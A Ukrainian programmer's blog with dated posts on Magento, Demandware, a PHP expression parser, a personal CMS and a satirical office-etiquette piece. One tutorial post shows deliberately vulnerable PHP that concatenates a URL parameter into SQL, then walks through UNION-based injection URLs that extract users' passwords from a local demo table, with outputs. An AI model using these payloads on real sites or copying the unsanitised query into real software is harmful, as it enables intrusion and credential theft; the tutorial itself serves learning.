Чер 15 2013
 

Я сам  здивований але вже 9 місяців працюю і ще не розчарувався у  команії в котрій працюю. Так, інколи проводять жахливі коропоративи які я намагаюся не змішувати із загальнми робочими процесами і відношу їх до “умовно необхідних ритуалів”. Так, є ще інші мінуси але вони усі в сукупності не визначають відношення до роботи взагалі. Так от, працюю я як вже казав у команії що спеціалізується на платформі Magento а також впроваджує нову популярну в Америці єкомерс платформу під назвою Demandware .

Для того щоб реалізувати зростаючу кількість проектів по Demandware, у нас взяли 2 додаткових девелоперів. Взагалі фішка Demandware у тому що це платформа яка окрім самого API для створення аплікешниів забезпечує клієнтів своїми серверами.  Розробка сайту на Demandware означає що сайт ви будете робити одразу на серверах Demandware і нічого локально ви впринципі робити не можете. Розробка полягає у використанні спеціального Demandware API за межі якого ви вийти не можете (тобто використовуєте наперед створенний набір функцій) і реалізацію API функцій ви також змінювати не можете.

Окрім Magento та Demandware є ще кілька проектів які ми ведемо на інших технологіях. Особисто мені пощастило попрацювати   на проекті на ASP.NET. Прийшлося у екстренному режимі вчити ASP.NET (VB+Framework), MSSQL, CrystallReports а також звикати до “приколів” вебсервера IIS. Впринципі проектом я задоволений .

SoundBoarding  це практика коли один розробник вигадує завдання для іншого і в подальшому оцінює виконання цього завдання і може  вимагати доробити завдання якщо вважає його не виконаним. Як показує західний досвід (у мене також є колеги на заході, не лише у Тараса вони є) ця практика являється дуже ефективною у плані покращення якості коду. На даний момент я вже виконав своє завдання по SoundBoarding  і очікую коли інші закінчать щоб дізнатися загальну думку колективу з цього питання. Цікаво наскільки це повпливає на колектив. На даний момент є люди які навіть не починали вигадувати задачі іншим я вже не кажу про те щоб розв’язувати.

А які способи підвищення кваліфікації використовують у вас на роботі?

Чер 02 2013
 

Пам’ять з точки зору процесора являє собою послідовність байт, кожному з яких присвоєно унікальний адрес. Він може приймати значення від 0 до 2 32 -1 (4 GB). Програми ж можуть працювати з пам’яттю як з одним безперервним масивом (модель пам’яті flat) або як з кількома масивами/сегментами (сегментовані моделі пам’яті). У другому випадку для завдання адреси будь-якого байту потрібно два числа – адресу початку масиву і зміщення шуканого байту відносно адресу початку масиву. Крім основної пам’яті програми можуть використовувати регістри – спеціальні комірки пам’яті, розташовані фізично всередині процесора, доступ до яких здійснюється не за адресами, а по іменах.

Тра 02 2013
 

Щойно зіткнувся з черговою дивною поведінкою браузера IE 9. Не дивлячись на те що в офіційні документації вказано що він підтримує цей метод, у мене він видавав помилку що такий метод undefined, тобто він його не знає. Наступна функція яку я запозичив і трішки модифікував шукає в групі тегів (group) або серед усіх елементів елементи з потрібним класом та повертає масив з найденими елементами. Ось до таких грубих методів пошуку доводиться вдаватися приборкуючи браузер IE.




function getByClass(className, group) {
        group = typeof group !== 'undefined' ? group : '*';
        var children = document.getElementsByTagName(group) || document.all;
        var i = children.length, e = [];
        while (i--) {
            var classNames = children[i].className.split(' ');
            var j = classNames.length;
            while (j--) {
                if (classNames[j] == className) {
                    e.push(children[i]);
                    break;
                }
            }
        }
        return e;
    }



Гру 16 2012
 

Синдром фреймворка це коли вам хочеться щоб увесь код на світі був як у вашому улюбленому фреймворку. Ви різко засуджуєте людей котрі пишуть код несхожий на код у вашому фреймворку і готові порвати на собі сорочку за критику вашого фреймворка. Ви змінили свій стиль кодування під стиль фреймворка, вам у всьому невистачає вашого фреймворка, це печально. Якісь дивні люди використовують інший фреймворк аніж ви, і ви починаєте дивитися на них з коса.

Усі фічі в програмуванні зводяться до фреймворків. Фреймворки чудові, різнокольорові піду я у садочок наїмся хробачків.

Лис 06 2012
 

Так сталося у моєму житті що зараз працюю у міжнародній компанії котра спеціалізується на підтримці системи  Magento та розробці модулів для неї. Це вже триває 2 місяці і  можна сказати вже остаточно що я став Magento девелопером. Спочатку у мене був випробувальний термін на якому я мав виконати 6 завдань по Magento. Завдання потрібно було виконати за місяць але мені вдалося це зробити менше ніж за 2 тижні. На мій подив мені сказали що завдання я виконав відносно добре, тоді я зрозумів що з такою “твариною” як Magento можна працювати і боротися. Чому я сказав твариною? Тому що це справді складна система у структурі якої потрібно навчитися орієнуватися і дебажити її.

Що таке Magento для програміста?

Якщо ви не знайомі з Magento, то освоївши її ви у більшості випадків значно піднімете свій рівень програмування. Перш за все для програміста Magento дає розвиток . У Magento ви рідко зустрінете приклади поганого коду (у ядрі) від яких хочеться блювати. Система настільки крута що навіть має свої власні стандарти програмування!

У чому складність Magento?

Мадженто активно використовує ООП. Але не поспішайте робити висновки. В мадженто є не просто є якісь класи які реалізують якісь інтерфейси. В Мадженто активно використовуються такі речі як спадкування, поліморфізм методів, структури даних (не масиви а контейнери об’єктів із власними інтерфейсами) і багато інших цікавих речей. Створюючи модуль для Magento, ви у більшості випадків будете робити свої класи похідними від базових класів у Magento тим самим наділяти свої модулі вже реалізованим можливостями у базових класах. Ви не просто пишете код модуля, кидаєте у якусь папку і намагаєтесь примусити його працювати і десь на фронтенді виводити дані. Ви вливаєте свій модуль в ієрархію класів Magneto. Також варто сказати про паттерни ООП котрих в Мадженто достатньо.

Мадженто активно використовує XML. XML – місце у якому живе конфігурація Мадженто. Через XML можна генерувати елементи фронтенду, перенаправляти та перевантажувати модулі, вказувати ресурси для кожного модуля, вказувати версії модулів на основі яких працює апгрейд модулів, зберігати конфігураційні параметри для кожного модуля окремо. Весь лейаут сайту на Мадженто формується на основі XML файлу. У цей файл кожен модуль може вносити свої корективи і тим сами перекривати і змінювати лейаут. Ієрархія існує навіть на рівні XML. Якщо модуль хоче вписати якийсь свій блок у інший блок лейаута, ми просто вказуємо в окремому файлі модуля які елементи дефолтного лейаута ми хочемо перекрити/замінити і тоді Мадженто застосує наші елементи лейаута замість стандартних.

Просунута модель MVC.

Окрім стандартних моделей, котролерів та в’юшок, Мадженто використовує класи типу Block, Helper які є безпосередньою частиною диспетчеризації запиту до системи. Ваш модуль не буде працювати якщо ваш котроллер, що вказаний у xml-файлі конфігурації, не буде знаходити у відповідній папці. І навпаки, якщо ви створили контролер але про нього немає згадок в xml-файлі конфігурації – для мадженто його не існує. Класи типу  Block це фішка Мадженто. Кожен структурний блок лейаута, має свій клас на стороні php що підтримує його і надає йому “розуму”. По суті якщо ви маєте в xml якийсь струтурний блок типу header , то цей блок напевне буде відображений у phtml файлі header.phtml а мізки його будуть об’єктом класу типу Block . Таким чимном у файлі  header.phtml , вказівник $this буде вказувати на свій власний об’єкт типу  Block Helper-и це помічники які часто є не обов’язковими але все одно широко використовуються в Мадженто. Helper не прив’язаний до конкретного модуля і може використовуватися у різних модулях.

Абстракція – ще одна абстракція – ще одна абстракція – база даних.

Якщо ви будете шукати в Мадженто чисті sql-ні запити, то вам напевно це не одразу вийде. Справа в тому що Мадженто слідує парадигмі ORM . Ви будете записувати дані в об’єкти і викликати метод save. Дані будуть потрапляти у базу даних за допомогою внутрішніх механізмів динамічного формування запитів. Для тих хто знайомий з популярними фреймворками це не буде новиною, так як такі речі використовуються досить часто.

EAV

Мадженто використовує паралельно із “плоскими” таблицями у базі даних – структуру типу EAV. Ви можете просто додавати нові атрибути до своїх сутностей у коді і не думати про модифікацію таблиць у базі даних та додавання нових полів у таблицях. Я не буду розповідати що таке EAV, кому цікаво то візьміть якусь книжку і почитайте.

Я багато чого не сказав про Мадженто, можливо у наступних публікаціях буду розповідати про створення модулів для цієї системи. До зустрічі у коментарях.

Вер 30 2012
 

Сьогодні хочу поділитися з тими, хто любить помучити свою голову всілякими скриптами, одинм цікавим скриптиком. Цей скрипт називається “Послідовно-рекурсивний аналізатор математичних виразів”. Що це означає? Це означає що він вміє вираховувати математичні вирази слідуючи усім правилам математики. Тобто він вміє працювати з операторами такими як : +,  -, *, /, а також знає що вирази в дужках мають вищий пріоритет і повинні обчислюватися в першу чергу.

Перед тим як я покажу джерельний код, я хочу сказати кілька слів про математичні вирази з точки зору програмування. Ми не можемо приступати до створення такого аналізатора не маючи алгоритму згідно якого він  буде працювати. І так, нехай математичний вираз це послідовність рівнозначних складових частин з які потрібно зпарсити а потім скласти в один результат.

9+2-4*2 = 3

Усі ми знаємо що оператори множення та ділення мають вищий пріоритет ніж оператори додавання та віднімання. Тобто можна грубо заявити що рівнозначними частинами (далі термами) є частини виразу котрі розділені операторами + та -. У вище приведеному виразі буде 3 рівнозначні частини а не 4. Перша 9, друга 2, третя 4*2. Я кажу три частини бо слідуючи правилам математики перемноження 4*2 відбудеться в першу чергу а вже потім воно перетвориться в рівнозначний терм такий як 9 і 2.

А тепер трішки про вирази в дужках. Аналізатор повинен мати рекурсивний спосіб визначення виразів у дужках. Тобто якщо він натрапляє на вираз у дужках, він виконує рекурсивне його обчислення а потім повертається до того місця де відбувся рекурсивний виклик і “верхній” виклик продовжує обчислення.

3+(5*5) = 28

Коли аналізатор почне працювати з вище приведеним виразом, він візьме перший терм який буде числом 3, потім він візьме оператор + і збереже його. Потім аналізатор натрапить на символ відкриваючої дужки “(“, і тут потрібна рекурсія. В цей момент, аналізатор повністю парсить вираз у дужках, потім створює новий об’єкт (локальний) аналізатора і дає йому обчислити вираз у дужках. Як тільки другий аналізатор обчислює вираз у дужках, він повертає результат першому аналізатору і перший продовжує свою роботу підставляючи замість виразу у дужках готовий результат.

3+(5*(5-1)) = 23

Виразів у дужках може буи багато і тому аналізатор завжди готовий створити новий аналізатор який допоможе йому вичислити наступний вираз у дужках. У вище приведеному прикладі буде окрім основного виклику аналізатора (calculate), два додаткових рекурсивних виклики. Перший буде вираховувати (5*(5-1)) а другий (5-1).

І так якщо ви вже готові то я даю джерельний код:




<?php
	error_reporting(E_WARNING);
	class Calculator {
		private $expr;
		private $pos;
		private $operator;
		private $result;
		
		private $margin;
		
		public function __construct(){
			$this->margin = 0;
		}
		
		private function error($message, $code=1){
			echo "<p>".$message."<br/>CODE =".$code."</p>";
		}
		
		private function getToken(){
			while(strlen($this->expr) > $this->pos && $this->expr[$this->pos] == " ") {
				$this->pos++;
			}
			if($this->pos < strlen($this->expr)) {
				$token = $this->expr[$this->pos];
				$this->pos++;
				return $token;
			} else {
				return "END";
			}
		}
		
		public function getOp(){
			return $this->operator;
		}
		
		public function calculateExpression(){
			$localExpr = "";
			$countOfOpen = 1;
			$countOfClosed = 0;
			while($countOfClosed != $countOfOpen  && $this->pos < strlen($this->expr)){
				if($this->expr[$this->pos] == "(") {
						$countOfOpen++;
				}
				if($this->expr[$this->pos] == ")") {
						$countOfClosed++;
				}
				$localExpr .= $this->expr[$this->pos];
				$this->pos++;
			}
			if($this->pos >= strlen($this->expr) && $countOfClosed != $countOfOpen) {
				$this->error("Wrong nuber of parentless", 1);
				return false;
			}
			$localCalculator = new Calculator();
			return $localCalculator->calculate($localExpr); // $localExpr start wihout first "(" - " localExpr) "
		}
		
		private function getTerm($term=""){
			$this->margin += 20;
			$term = (string) $term;
			$delimiters = array("+", "-", "(", ")", "END");
			$token = $this->getToken();
			
			while(!in_array($token, $delimiters)){
				$term .= $token;
				$token = $this->getToken();
			}
			
			switch($token) {
				case "+" :
				$this->operator = "+";
				break;
				case "-" :
				$this->operator = "-";
				break;
				case "END" :
				break;
				case "(" :
				$term = $this->getTerm($term.$this->calculateExpression());
				break;
				case ")" :
				break;
			}
			return $this->calculateTerm($term);
			$this->margin -= 20;
		}
		
		//this method take clean term without nested expressions
		private function calculateTerm($term){
			$term = (string) $term;
			$res = $partRes = "";
			$pos = 0;
			$op = "";			
			while(isset($term[$pos]) && $term[$pos] == " ") {
				$pos++;
				continue;
			}
					
			$delimiters = array("*", "/");
			//first part
			while(isset($term[$pos]) && strlen($term) > $pos && !in_array($term[$pos], $delimiters)) {
				$res .= $term[$pos];
				$pos++;
				continue;
			}
			//first operator
			switch($term[$pos]){
				case "/" :
				$op = "/";
				break;
				case "*" :
				$op = "*";
				break;
			}
			// next symbol
			$pos++; 

			while(strlen($term) > $pos) {
				while(strlen($term) > $pos && !in_array($term[$pos], $delimiters)) {
					$partRes .= $term[$pos];
					$pos++;
					continue;
				}
				switch($op){
					case "/" :
					$res /= $partRes;
					break;
					case "*" :
					$res *= $partRes;
					break;
				}
				$partRes = "";
				$pos++;
			}
			return $res; 
		}
		
		public function calculate($expr, $pos=0){
			$this->expr = $expr;
			$this->pos = $pos;
			$this->result = $term = $this->getTerm();
			 
			while($term != false){ 
				$op = $this->getOp();
				$term = $this->getTerm();
				switch($op){
					case "+" :
					$this->result += $term;					
					break;
					case "-" :
					$this->result -= $term;
					break;
				}
			}			
			return $this->result; 
		}
	}
	
	$calc = new Calculator();
	$expr1 = "(1+2)*6";
	$expr2 = "4/2";
	$expr3 = "2*(8/2)";
	$expr4 = "9-6/2+(2*3)-1";
	$expr5 = "3+(5*(5-1))";
	echo $expr1." = ".$calc->calculate($expr1)."<br/>";
	echo $expr2." = ".$calc->calculate($expr2)."<br/>";
	echo $expr3." = ".$calc->calculate($expr3)."<br/>";
	echo $expr4." = ".$calc->calculate($expr4)."<br/>";
	echo $expr5." = ".$calc->calculate($expr5)."<br/>";
	/* Вивід
		(1+2)*6 = 18
		4/2 = 2
		2*(8/2) = 8
		9-6/2+(2*3)-1 = 11
		3+(5*(5-1)) = 23
	*/
	
?>



Такий аналізатор можна легко розширити для використання змінних. Можна просто додати масив у якому будуть зберігатися змінні і додати до аналізатора логіку для ініціалізації змінних ( var = 5; ) та для підстановки значення змінних ( 5 + var + 2 = 12). Хочу зауважити що аналізатор “сирий” і я не гарантую що він не закрашиться при будь-яких виразах, я буду вдячний якщо ви вкажете на помилки.

Вер 14 2012
 

Пам’ятаєте я писав про те що створюю власну CMS ? Кілька місяців тому я вже вітзвітувався по роботі і навіть кинув посилання на попередню версію мого дітища. Подивитися попередню версію . Недавно я вирішив розробити новий модуль для інтернет магазину. Так як моя CMS, котру я назвав MFCMS, слідує архітектурі MVC , її легко нашпіговувати новими модулями і масштабувати як завгодно. За що я люблю MVC, так це за зрозумілу структуру файлів сайту. Я завжди швидко знаходжу файл у якому потрібно зробити зміни, і це дозволяє дуже сильно зменшити затрати часу на дебаг .

І так модуль інтернет магазину можна подивитися тут . Не кидайте камінням бо це ще тестова бета версія і помилки будуть виправлятися поступово. Неможливо зробити стабільну програму або скрипт за один прохід. Який би ти не був крутий кодер а помилки все одно лізуть.

Що я хотів зробити?

Я знаю що нічого особливого немає у цьому модулі. Основними принципами при його створенні були: мінімалізм та інтуїтивність. Мені потрібно щоб людина без особливих зусиль, зробивши кілька кліків, змогла зробити замовлення в магазині.

Що маю на даний момент?

На даний момент CMS має наступні модулі:

  • модуль Blog (пости, категорії, деревовидні коментарі з голосувалкою і пагінацією, теги)
  • модуль Page (статичні сторінки з тегами без коментарів)
  • модуль Seo (виставляє мета теги для пошукової оптимізації)
  • Модуль RSS (нові пости транслюються через RSS-фід)
  • Модуль Gallery (галереї із зображеннями)
  • Модуль Shop (каталог товарів, сторінка товару, кошик з товарами, сторінка оформлення замовлення, бренди товарів, категорії товарів, галереї для товарів, …)
  • Модуль FileManager (завантаження фалів на сервер,інструменти перегляду та обрізки зображень, створення та видалення  папок на сервері)
  • Модуль Widgets (створення та редагування віджетів (банерів) у стилі drag and drop, працює на javascrip+ajax+php+mysql)

Не знаю чи буду ще щось доробляти у майбутньому чи не буду. Поки що хочу трохи протестувати і зменшити кількість багів до мінімуму.

До побачення, до наступних зустрічей!

Сер 21 2012
 

Sql-ін’єкція –  це модифікація запиту до сервера бази даних з метою отримання будь-яких даних котрі можуть становити певний інтерес для хакера. Зазвичай цими даними є логіни, паролі, емейли користувачів і т.д. Ви напевне думаєте що зараз мало сайтів які мають вразливість до sql-ін’єкцій, але це не так,  код пишуть люди, а людям властиво помилятися.

Розглянемо простий випадок при якому можна здійснити sql-ін’єкцію. Нехай у нас буде проста таблиця в базі даних  із назвою  users .

CREATE TABLE users (
id int not null auto_increment PRIMARY KEY,
login varchar(50),
password varchar(50),
email varchar(50)
) default charset utf8;


Додаємо в таблицю 2 записи з даними

insert into users values('1', 'taras', '12345', 'taras@mail.ru');
insert into users values('2', 'stepan', 'qwerty', 'stepan@mail.ru');


Sql-ін’єкція можлива при умові коли є наявність вразливого параметра, котрий підставляється у sql-запит. Зазвичай такі параметри передаються через URL. Вразливий параметр це той котрий недостатньо фільтрується, тобто цей параметр можна змінити так що запит до БД вже буде мати зовсім іншу суть.

Розглянемо наступний вразливий код який дозволяє легко здійснити sql-ін’єкцію.
<?php
$query = "SELECT * FROM users WHERE id = ".$_GET["user_id"]."";
$user = mysql_fetch_assoc(mysql_query($query));
echo "Hello ".$user["login"]; 
?>

Як бачите, параметр $_GET["user_id"] ніяк не фільтрується і це можна використати. http://site.com/test.php?user_id=1 виводить логін користувача з id рівним 1

Запит до бази даних SELECT * FROM users WHERE id = 1
Результат - "Hello taras"

Переходимо по наступному URL http://site.com/test.php?user_id=1′

Запит до бази даних SELECT * FROM users WHERE id = 1'
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"

Як можна помітити, символ кавички підставився у запит до бази даних, через що останній став синтаксично неправильним. Це означає що в параметр $_GET["user_id"] можна модифікувати з метою отримання секретних даних.

Тепер буде невеличкий огляд одного корисного оператора СУБД Mysql. Цей оператор називається UNION, і ми будемо його використовувати для отримання секретних даних через sql-ін’єкцію. Нехай секретнимми даними для нас будуть емейл та пароль користувача з логіном “taras”.

Оператор UNION використовується для об’єднання кількох запитів SELECT в один результуючий набір даних. Наприклад:
SELECT * FROM users UNION SELECT 1 , 2, 3, 4 FROM users WHERE id =1;
Результат:

id login password email
1 taras 12345 taras@mail.ru
2 stepan qwerty stepan@mail.ru
1 2 3 4


Замість колонок, у другому операторі SELECT, ми підставили звичайні цифри 1,2,3,4. Цей запит успішно виконався і в результаті вибірки з’явився третій рядок із цифрами 1,2,3,4.
Важливою вимогою для оператора UNION є те, що кожен додатковий запит SELECT повинен вибирати таку саму кількість колонок яку вибирає перший запит SELECT.
SELECT * FROM users UNION SELECT 1 , 2, 3 FROM users WHERE id =1; - невалідний запит, кількість колонок не співпадає.
Результат - "The used SELECT statements have a different number of columns"

Реалізуємо sql-ін’єкцію

Тепер у нас є все щоб реалізувати sql-ін’єкцію. Ми маємо вразливий скрипт із вразливим параметром, давайте будемо підбирати кільксть колонок. Будемо закінчувати модифікацію вразливого параметру символом комантарів “–”, це потрібно для того щоб відсікти весь запит який може йти після вразливого параметру у реальному прикладі. Зауважте що символ “+” в URL, в подальшому конвертується в пробіл.

http://localhost/site.com/test.php?user_id=1+union+select+1+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2,3+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2,3 --
Результат - "Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in test.php on line 7
Hello"


http://localhost/site.com/test.php?user_id=1+union+select+1,2,3,4+--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,2,3,4 --
Результат - "Hello taras"

Ура, ми підібрали правильну кількість колонок, тепер, у результаті останнього запиту мають знаходитися наші вибрані циферки 1,2,3,4. Ми їх не бачимо бо в коді ці поля не виводяться, зате ми знаємо що виводиться поле “login”, це ми і будемо використовувати. У нашому випадку ми знаємо що поле логін є другим по порядку в таблиці users. В реальних ситуаціях ми цього не знаємо, і це дещо ускладнює вивід потрібних даних.

Модифікуємо наш запит так щоб у другому запиті SELECT, замість цифри 2 виводилося поле password з таблиці users. Також обов’язково зауважте що потрібно додати умову “from users where id=1″ , тому що другий запит повинен знати звідки йому вибирати це поле password.

http://localhost/site.com/test.php?user_id=1+union+select+1,password,3,4+from+users+where+id=1--

Запит до бази даних SELECT * FROM users WHERE id = 1 union select 1,password,3,4 from users where id=1--
Результат - "Hello taras"


Ура, запит успішно виконався і тепер пароль користувача з id = 1 знаходиться в результаті вибірки даних. Але от халепа, цей пароль ніде не виводиться, як же нам його взнати? А взнати його дуже просто, треба модифікувати перший запит SELECT так, щоб він став невалідним, і тоді замість другої колонки в першому SELECT-і, підставиться друга колонка із другого SELECT-ту.
Ми просто ставимо знак мінус “-” перед параметром id. Фінальний URL повинен мати наступний вигляд:

http://localhost/site.com/test.php?user_id=-1+union+select+1,password,3,4+from+users+where+id=1--

Запит до бази даних SELECT * FROM users WHERE id = -1 union select 1,password,3,4 from users where id=1--
Результат - "Hello 12345"


Тепер ви бачите що замість логіна вивелося “12345″ , це і є пароль першого користувача.

http://localhost/site.com/test.php?user_id=-1+union+select+1,password,3,4+from+users+where+id=2--

Запит до бази даних SELECT * FROM users WHERE id = -1 union select 1,password,3,4 from users where id=2--
Результат - "Hello qwerty" - пароль користувача з id = 2


Ось через такі підставляння кавичок в URL були зламані дуже багато сайтів, переважно це самописні сайти. Якщо ви користуєтеся популярною CMS, то скоріше усього вона не надто вразлива до даного виду атаки, бо в таких CMS такі вразливості швидко виправляються, якщо ці вразливості стали відомі) На останок хочу порадити добре фільтрувати усі дані які ви отримуєте у своїх скриптах, не слід зневажати на такі речі. Успіху вам!

Лип 26 2012
 

Коли ви щодня працюєте в колективі, ви будете часто ставати об’єктом уваги своїх колег. У ці моменти важливо не розгубитися і гідно себе показати. Зазвичай про вас не будуть робити висновки за результатами вашої праці, найважливішим у ці моменти є ваш зовнішній вигляд та поведінка. Хочу поділитися кількома принципами котрі відкрилися мені у різний час і в різних колективах.

Як потрібно корчити пику?

Завжди в такі моменти робіть серйозний вигляд лиця. Насуплюйте брови і надувайте губи. Ніяких посмішок і розслаблень, лише суворий діловий вигляд. В результаті у вас повинен бути наступний результат

Ідеальна пика для створення репутації

Ідеальна пика для створення репутації

Непоганий варіант пики

Непоганий варіант пики

Дуже важливо пам’ятати про те що не можна проявляти жодного позитиву, наступний вираз обличчя призведе до дефолту

повний дефолт

повний дефолт

Одразу зрозуміло, що людина на останній фотографії, апріорі не може бути фахівцем і хорошим спеціалістом у своїй справі. Таку людину будуть вважати лохом і лузером.

Привітання

Бажано не вітатися з людьми котрі меншого рангу ніж ви. Можна вітатися взагалі лише з тим від кого ви отримуєте зарплатню, всі інші не варті вашої уваги. Жоден поважаючий себе програміст не буде вітатися з усіма людьми в офісі.

Походняк

Пересуватися по офісу потрібно наче термінатор, бажато щоб усі думали що вам щось між ногами заважає. Не можна робити швидких рухів бо це можуть сприйняти як прояв дитячості та незрілості. Кроки мають бути повільні та виважені. Руки при ходьбі бажано розставляти наче це крила а не руки зовсім. Як казав Богдан Ступка: “людина наче б то не літає, а крила має, а крила має…”. Так що взяли свої крила і розправили достатньо широко.

Куди спрямувати погляд?

Якщо у вас щось запитали, не починайте дивитися на цю істоту. Не відводьте очей від монітора, нехай воно думає що вам на нього начхати. Дивіться в монітор і відповідайте на запитання з великими паузами між словами, усе має виглядати так наче це відповідає напівбог а не людина зовсім. Пошліть істоту яка у вас щось запитала погуглити, нехай знає чим може закінчитися спроба отримати халявну інформацію від вас.

Запускайте вуса та бороду

Якщо ви хочете виглядати автентичним хакером, вам потрібно запустити волосню на своїй морді. Нехай воно буде як козляча борідка або як причепи кобилі хвіст, ви мусите це зробити. За відсутність рослинності на морді вас можуть запідозрити в несправжності і нерозумінні основних принципів програмування.

Словесні заготовки

У вас повинен бути достатньо великий запас словесних заготовок на усі випадки життя. Коли у вас запитають чому ви цілий день нічого не робили, ви одразу маєте відповідати впевнено на це запитання. Жодних посмішок і демагогії, лише правильні та чіткі відповіді. Наприклад, якщо заптають: “чому не працюєш?”, у відповідь треба сказати: “кнопка на клаві зламалася”. Це все що потрібно, програміст без кнопки як пияк без горілки.

Реакція на звертання

Реакція на звертання повинна бути повільною і з відчутною затримкою,  істота має відчути свою меншовартість очікуючи на вашу реакцію. Час від часу робіть вигляд що ви не почули і навіть не реагуйте на звернення. Також інколи потрібно переводити стрілки на інших колег, скажіть що у вас немає часу спілкуватися і нехай це зробить хтось інший. Ви тільки уявіть який це буде удар по самооцінці людини котра у вас щось запитала.

Звичайно що є ще безліч інших прийомів для створення високої репутації у робочому колективі. На жаль мій майстер навчив мене лише цих способів, я буду радий якщо ви поділитеся іншими прийомами в коментарях. Покажіть своє кунг-фу.